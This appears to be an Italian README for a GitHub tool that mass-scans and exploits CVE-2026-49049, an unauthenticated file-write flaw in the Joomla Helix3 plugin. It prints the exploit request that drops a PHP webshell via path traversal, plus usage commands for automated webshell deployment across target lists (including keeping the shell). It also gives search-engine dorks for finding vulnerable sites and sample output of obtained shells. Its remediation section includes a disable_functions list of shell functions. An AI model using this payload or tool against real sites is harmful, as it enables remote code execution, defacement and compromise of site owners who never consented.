
CVE-2026-49049 Scanner RCE AJAX non autenticato per Joomla Helix3 (JoomShaper)
Scanner / verificatore di massa per CVE-2026-49049: handler AJAX non autenticato nel plugin Helix3 Framework per Joomla (v1.0 – 3.1.0, corretto in 3.1.1+).
Solo test autorizzati. Utilizzare solo su sistemi di propria proprietà o per i quali si dispone di autorizzazione scritta.
L'handler onAjaxHelix3() in plugins/ajax/helix3/helix3.php è raggiungibile tramite com_ajax di Joomla senza autenticazione / token CSRF:
POST /index.php?option=com_ajax&plugin=helix3&format=json
Content-Type: application/x-www-form-urlencoded
data[action]=save&data[layoutName]=../../up.php&data[content]=<?php system($_GET['cmd']); ?>
Lo sfruttamento di massa attivo in ambienti reali spesso lascia una webshell a doppia estensione:
< 3.1.1save con layoutName=../../up.php + contenuto della webshell PHP.json → up.php.json finisce nella root webAddHandler di Apache con multi-estensione esegue il token .phpGET /up.php.json?cmd=id → uid=33(www-data) = SHELL OKDetect Helix3
→ POST com_ajax?plugin=helix3 (action=save, traversal)
→ up.php.json written
→ GET up.php.json?cmd=id
→ uid=33(www-data)
git clone https://github.com/ExDev994/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt
Requisiti: requests>=2.31.0, colorama>=0.4.6, Python 3.9+.
Modifica targets.txt — un URL / host per riga (# = commento). Il path di Joomla viene conservato:
# contoh
https://example.com/
https://example.com/joomla/
http://192.168.1.50/
Non rilascia webshell. Controlla la versione + verifica save / remove / import:
python3 scan.py -f targets.txt --scan -o results.txt
python3 scan.py -f targets.txt --auto -c "id" -o results.txt
python3 scan.py -t https://target.tld/joomla/ --auto -c "id"
# Keep webshell setelah verify (demo authorized)
python3 scan.py -f targets.txt --auto --keep
# Custom webshell name + traversal depths
python3 scan.py -f targets.txt --auto \
--webshell-name up.php \
--traversal-depths "../../,../../../"
# JSON report + concurrency
python3 scan.py -f targets.txt --auto -c "whoami" \
--threads 20 --timeout 15 \
-o results.txt --json report.json
# Proxy (Burp / etc)
python3 scan.py -t https://target.tld/ --scan --proxy http://127.0.0.1:8080
Avvertenza: la modalità
--autotenta di scrivere una webshell tramite path traversal. Default: la webshell viene rimossa dopo la verifica. Usa--keepsolo per demo autorizzate.
Il terminale mostra tutti gli stati (avanzamento). results.txt contiene solo quelli vulnerabili:
[v] CVE-2026-49049 SHELL OK https://target.tld Helix3 2.5.6 save=Y remove=Y import=N
[id] -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell: https://target.tld/up.php.json?cmd=id
[ ] VULN (no shell) https://target.tld Helix3 3.0.2 save=Y remove=Y import=Y
Le altre etichette (PATCHED, NOT_HELIX3, TIMEOUT, UNKNOWN) compaiono solo nel terminale e non finiscono in results.txt.
Usa i dork qui sotto per trovare asset Helix3 / Joomla potenzialmente interessati. Esegui la scansione solo di target autorizzati.
inurl:templates/shaper_helix3/templateDetails.xml
inurl:"templates/shaper_helix3"
"shaper_helix3" "Joomla"
inurl:index.php?option=com_ajax "helix3"
"powered by Helix" Joomla
intitle:"Home" "shaper_helix3"
inurl:/templates/helix3/
http.html:"shaper_helix3"
http.html:"Helix3" http.html:"Joomla"
http.title:"Joomla" "shaper_helix3"
http.html:"/templates/shaper_helix3/"
http.html:"joomshaper" product:"Joomla"
html:"plg_system_helix3"
body="shaper_helix3"
body="/templates/shaper_helix3/" && body="Joomla"
body="Helix3" && body="joomshaper"
body="plg_ajax_helix3" || body="onAjaxHelix3"
title="Joomla" && body="shaper_helix3"
body="templateDetails.xml" && body="helix3"
# Version check
curl -sk 'https://TARGET/templates/shaper_helix3/templateDetails.xml' | grep -i version
# Unauth save probe (authorized only)
curl -sk -X POST \
'https://TARGET/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'
Aggiorna i plugin System – Helix3 Framework e Helix3 – Ajax alla versione 3.1.1 o successiva (consigliata 3.1.2).
L'aggiornamento non rimuove i payload già presenti nel database.
#__template_styles la colonna params per custom_js / custom_css iniettatitmp / media:
up.php.json, cox.json, *.php.json, altre webshellSegni comuni di compromissione: defacement "Hacked by AntonKill" / "trenggalek6etar", injection di custom_js, file JSON sconosciuti.
Apache — non usare AddHandler multi-estensione; utilizza:
<FilesMatch "\.php$">
SetHandler application/x-httpd-php
</FilesMatch>
Nginx:
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass unix:/run/php/php-fpm.sock;
}
PHP php.ini:
disable_functions = system,exec,shell_exec,passthru,proc_open,popen,pcntl_exec
Upload / scrittura file: rigenera i nomi dei file, rifiuta le estensioni multi-dot, AllowOverride None nelle directory pubbliche.
python3 scan.py -t https://YOUR-SITE/ --scan
# Expected: PATCHED Helix3 3.1.1+ (atau NOT_HELIX3 jika plugin di-uninstall)
CVE-2026-49049/
├── scan.py # CLI entry point
├── core/
│ ├── engine.py # ThreadPoolExecutor + results (vuln-only to file)
│ ├── probe.py # Helix3 detect + save/remove/import + RCE drop
│ └── target.py # Parse / normalize targets.txt
├── utils/
│ └── banner.py
├── targets.txt # Input targets
├── results.txt # Generated (VULN / SHELL_OK only)
├── requirements.txt
└── README.md
I contributi della community sono benvenuti. Maintainer: ExDev994.
from __future__ import annotations, type hints)python3 -m py_compile scan.py core/*.py utils/*.py e python3 scan.py --helpSegnala bug / richieste di funzionalità in Issues. Includi:
| Contributore | Ruolo |
|---|---|
| ExDev994 | Autore / Maintainer |
La vulnerabilità è stata originariamente segnalata da Phil Taylor (mySites.guru). Questo repository è un'implementazione indipendente dello scanner e non è affiliato a JoomShaper o Open Source Matters.
Questo strumento è destinato esclusivamente a scopi di formazione e test di sicurezza autorizzati.
L'accesso non autorizzato a sistemi informatici è illegale e può violare leggi tra cui la UU ITE indonesiana, il CFAA statunitense e normative equivalenti in altre giurisdizioni.
L'autore (ExDev994) non si assume alcuna responsabilità per l'uso improprio. Utilizzando questo software accetti la piena responsabilità delle tue azioni. La modalità --auto rilascia una webshell temporanea — usala solo su target autorizzati.
| Azione | Impatto | Versioni |
|---|
save | Scrittura arbitraria di file JSON + path traversal | 1.0 – 3.1.0 |
remove | Eliminazione arbitraria di file (nessuna restrizione su estensione/percorso) | 1.0 – 3.1.0 |
import | Sovrascrive i parametri del template nel DB (custom_js non sottoposto a escaping → XSS/defacement) | solo v3.x |
| Versione Helix3 | save / remove | import | Stato |
|---|
| 1.0 – 2.x | Vulnerabile | Assente | Vulnerabile |
| 3.0 – 3.1.0 | Vulnerabile | Vulnerabile | Vulnerabile |
| 3.1.1+ | Corretto | Corretto | Sicuro |
| Flag | Descrizione |
|---|
-f / --file | File di elenco target (default: targets.txt se -t è assente) |
-t / --target | URL di un singolo target |
--scan | Rilevamento read-only |
--auto | Rilevamento + verifica RCE (default) |
-c / --cmd | Comando per la verifica (default: id) |
-o / --output | File dei risultati — solo target VULN / SHELL_OK |
--json | Report JSON strutturato |
--keep | Non rimuovere automaticamente la webshell dopo la verifica |
--threads | Worker concorrenti (default: 15) |
--timeout | Timeout HTTP in secondi (default: 15) |